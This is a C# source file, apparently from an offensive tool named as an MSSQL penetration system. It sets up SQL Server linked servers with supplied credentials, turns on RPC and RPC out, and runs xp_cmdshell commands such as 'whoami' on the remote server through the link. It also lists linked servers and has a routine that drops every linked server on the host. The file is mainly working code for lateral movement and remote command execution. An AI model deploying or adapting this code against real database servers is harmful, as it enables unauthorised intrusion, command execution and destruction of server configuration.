﻿using System;
using System.Collections.Generic;
using System.Data.SqlClient;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading.Tasks;

namespace 天离安全_Mssql渗透系统.Services
{
    /// <summary>
    /// 创建链服务，全局服务类
    /// </summary>
    public class T_Chain_Sql_ClientService
    {
        /// <summary>
        /// 创建链服务连接
        /// </summary>
        /// <param name="connection"></param>
        /// <returns></returns>
        public static async Task Chain_Client_Services(SqlConnection connection, Action<string> statusCallback = null)
        {
            // 执行连接测试
            string sql = "EXEC ('EXEC xp_cmdshell ''cmd /c whoami''') AT [TlSec];";
            Console.WriteLine(sql);
            using(SqlCommand command = new SqlCommand(sql,connection))
            {
                try
                {
                    using (SqlDataReader reader = await command.ExecuteReaderAsync())
                    {
                        bool hasRows = false;
                        // 使用异步进行循环
                        while (await reader.ReadAsync())
                        {
                            hasRows = true; // 确保至少有一行数据
                            string output = reader[0]?.ToString(); // 读取输出
                            if (!string.IsNullOrEmpty(output))
                            {
                                // 循环的获取完整的值
                                Api.T_Chain_Sql_Client_Api.Chain_Info.Append(output + "\r\n");
                            }
                            else
                            {
                                Api.T_Chain_Sql_Client_Api.Chain_Info.Append(output + "\r\n");
                            }
                        }

                        if (hasRows)
                        {
                            //Api.T_Files_Info.FileInfo.Append(DateTime.Now.ToString() + "：" + "命令执行成功" + "\r\n");
                        }
                        else
                        {
                            Api.T_Chain_Sql_Client_Api.Chain_Info.Append(DateTime.Now.ToString() + "：" + "命令执行成功，但没有返回数据" + "\r\n");
                        }
                    }
                }
                catch (Exception ex)
                {
                    Api.T_Chain_Sql_Client_Api.Chain_Info.Append(DateTime.Now.ToString() + "：" + "权限不足获取未开启命令执行组件" + "\r\n" + ex.ToString() + "\r\n");
                }
            }
        }
        /// <summary>
        /// 在主体服务器中创建链
        /// </summary>
        /// <param name="connection"></param>
        /// <returns></returns>
        public static async Task Z_Sql_Client(SqlConnection connection, Action<string> statusCallback = null)
        {
            statusCallback?.Invoke("正在创建链账户信息");
            // 将链账号信息进行传出
            string username = Api.T_Chain_Sql_Client_Api.Chain_UserName;
            string password = Api.T_Chain_Sql_Client_Api.Chain_PassWord;
            string port = Api.T_Chain_Sql_Client_Api.Chain_Port;
            string ip = Api.T_Chain_Sql_Client_Api.Chain_Ip;
            string database = Api.T_Chain_Sql_Client_Api.Chain_DataBase;

            // 链接服务器的SQL语句
            string sql = $@"
                        EXEC sp_addlinkedserver 
                            @server = '{Api.T_Chain_Sql_Client_Api.Chain_Name}',
                            @srvproduct = '', 
                            @provider = 'SQLNCLI', 
                            @datasrc = '{ip},{port}';"; // 使用动态IP和端口

                                // 使用self 必须为false的SQL语句
                                string sql2 = $@"
                        EXEC sp_addlinkedsrvlogin 
                            @rmtsrvname = '{Api.T_Chain_Sql_Client_Api.Chain_Name}',
                            @useself = 'False', 
                            @rmtuser = '{username}',
                            @rmtpassword = '{password}';"; // 使用动态数据库名称
                            //@catalog = '{database}' 这个先不使用数据库，否则会报错
            ;
            // 必须设置 rpc 为 true， 否则无法执行
            string sql3 = "EXEC sp_serveroption '" + Api.T_Chain_Sql_Client_Api.Chain_Name + "', 'rpc', 'true';";
            string sql4 = "EXEC sp_serveroption '" + Api.T_Chain_Sql_Client_Api.Chain_Name + "', 'rpc out', 'true';";
            // 创建服务器链配置
            using (SqlCommand command = new SqlCommand(sql, connection))
            {
                using (SqlDataReader reader = await command.ExecuteReaderAsync())
                {
                    try
                    {
                        Api.T_Chain_Sql_Client_Api.Chain_Info.Append(DateTime.Now.ToString() + "：" + "已成功创建默认的链服务器名称为：" + Api.T_Chain_Sql_Client_Api.Chain_Name + "\r\n");
                        statusCallback?.Invoke("已成功创建默认的链服务器名称为：" + Api.T_Chain_Sql_Client_Api.Chain_Name);
                    }
                    catch (Exception)
                    {
                        Api.T_Chain_Sql_Client_Api.Chain_Info.Append(DateTime.Now.ToString() + "：" + "链服务名称：" + Api.T_Chain_Sql_Client_Api.Chain_Name + " 已存在，正在跳过" + "\r\n");
                        statusCallback?.Invoke("创建错误：已存在相同的链服务！请更改链系统名称！" );
                    }
                }
            }
            using (SqlCommand command2 = new SqlCommand(sql2, connection))
            {
                using (SqlDataReader reader = await command2.ExecuteReaderAsync())
                {
                    try
                    {
                        Api.T_Chain_Sql_Client_Api.Chain_Info.Append(DateTime.Now.ToString() + "：" + "已成功创建链服务器配置" + "\r\n");
                        statusCallback?.Invoke("已成功创建链服务器配置");
                    }
                    catch (Exception ex)
                    {
                        Api.T_Chain_Sql_Client_Api.Chain_Info.Append(DateTime.Now.ToString() + "：" + "链服务器配置已存在，正在跳过" + "\r\n");
                        statusCallback?.Invoke("创建错误：" + ex.ToString());
                    }
                }
            }
            // 开启rpc
            using (SqlCommand command3 = new SqlCommand(sql3, connection))
            {
                using (SqlDataReader reader = await command3.ExecuteReaderAsync())
                {
                    try
                    {
                        Api.T_Chain_Sql_Client_Api.Chain_Info.Append(DateTime.Now.ToString() + "：" + "已成功开启rpc" + "\r\n");
                        statusCallback?.Invoke("已成功开启rpc");
                    }
                    catch (Exception ex)
                    {
                        Api.T_Chain_Sql_Client_Api.Chain_Info.Append(DateTime.Now.ToString() + "：" + "已成功开启rpc已存在，正在跳过" + "\r\n");
                        statusCallback?.Invoke("创建错误：" + ex.ToString());
                    }
                }
            }
            // 开启rpc out
            using (SqlCommand command4 = new SqlCommand(sql4, connection))
            {
                using (SqlDataReader reader = await command4.ExecuteReaderAsync())
                {
                    try
                    {
                        Api.T_Chain_Sql_Client_Api.Chain_Info.Append(DateTime.Now.ToString() + "：" + "已成功开启rpc out" + "\r\n");
                        statusCallback?.Invoke("已成功开启rpc out");
                    }
                    catch (Exception ex)
                    {
                        Api.T_Chain_Sql_Client_Api.Chain_Info.Append(DateTime.Now.ToString() + "：" + "已成功开启rpc out已存在，正在跳过" + "\r\n");
                        statusCallback?.Invoke("创建错误：" + ex.ToString());
                    }
                }
            }
        }
        /// <summary>
        /// 获取链服务所有存在的链
        /// </summary>
        /// <param name="connection"></param>
        /// <returns></returns>
        public static async Task Z_Sql_Client_Test(SqlConnection connection, Action<string> statusCallback = null)
        {
            string Lname = "EXEC sp_linkedservers;";// 先列出所有的链服务名称
            using (SqlCommand command = new SqlCommand(Lname,connection))
            {
                using (SqlDataReader reader = await command.ExecuteReaderAsync())
                {
                    // 读取所有行
                    // 读取所有行
                    while (await reader.ReadAsync())
                    {
                        // 直接输出所有列，用制表符分隔
                        StringBuilder row = new StringBuilder();
                        for (int i = 0; i < reader.FieldCount; i++)
                        {
                            if (i > 0) row.Append("\t");
                            row.Append(reader.IsDBNull(i) ? "" : reader.GetValue(i).ToString());
                        }
                        Console.WriteLine(row.ToString());
                    }
                    //statusCallback?.Invoke("正在列出所有链服务);
                }
                Console.WriteLine("列出所有链服务");
            }
        }
        /// <summary>
        /// 检查服务状态
        /// </summary>
        /// <param name="connection"></param>
        /// <returns></returns>
        public static async Task Z_Sql_Client_Testcq(SqlConnection connection, Action<string> statusCallback = null)
        {
            string Lname = "EXEC sp_helpserver " + Api.T_Chain_Sql_Client_Api.Chain_Name;// 先列出所有的链服务名称
            try
            {
                using (SqlCommand command = new SqlCommand(Lname, connection))
                {
                    using (SqlDataReader reader = await command.ExecuteReaderAsync())
                    {
                        // 如果有数据行返回，说明链服务存在（第一种结果）
                        if (await reader.ReadAsync())
                        {
                            // 可以进一步验证数据格式
                            statusCallback?.Invoke("链服务存在");

                            // 可选：输出数据内容进行验证
                            StringBuilder row = new StringBuilder();
                            for (int i = 0; i < reader.FieldCount; i++)
                            {
                                if (i > 0) row.Append("\t");
                                row.Append(reader.IsDBNull(i) ? "" : reader.GetValue(i).ToString());
                            }
                            statusCallback?.Invoke($"链服务信息: {row}");
                        }
                        else
                        {
                            statusCallback?.Invoke("链服务不存在");
                        }
                    }
                    Console.WriteLine("查询指定链服务");
                }
            }
            catch(Exception)
            {
                // 如果不存在链服务就可以去执行创建链服务
                statusCallback?.Invoke("不存在链服务！");
                Api.T_Chain_Sql_Client_Api.Client_Status = "false";
            }
        }
        /// <summary>
        /// 删除所有远程的链服务
        /// </summary>
        /// <param name="connection"></param>
        /// <param name="statusCallback"></param>
        /// <returns></returns>
        public static async Task DeleteAllLinkedServers(SqlConnection connection, Action<string> statusCallback = null)
        {
            string deleteSql = @"
        DECLARE @server_name NVARCHAR(128)
        DECLARE server_cursor CURSOR FOR 
        SELECT name FROM sys.servers WHERE is_linked = 1

        OPEN server_cursor
        FETCH NEXT FROM server_cursor INTO @server_name

        WHILE @@FETCH_STATUS = 0
        BEGIN
            BEGIN TRY
                EXEC sp_dropserver @server = @server_name, @droplogins = 'droplogins'
                PRINT '已删除链服务: ' + @server_name
            END TRY
            BEGIN CATCH
                PRINT '删除链服务 ' + @server_name + ' 时出错: ' + ERROR_MESSAGE()
            END CATCH
            
            FETCH NEXT FROM server_cursor INTO @server_name
        END

        CLOSE server_cursor
        DEALLOCATE server_cursor";

            using (SqlCommand command = new SqlCommand(deleteSql, connection))
            {
                try
                {
                    await command.ExecuteNonQueryAsync();
                    statusCallback?.Invoke("所有链服务删除完成");
                }
                catch (Exception ex)
                {
                    statusCallback?.Invoke("删除链服务时出错: " + ex.Message);
                }
            }
        }
    }
}
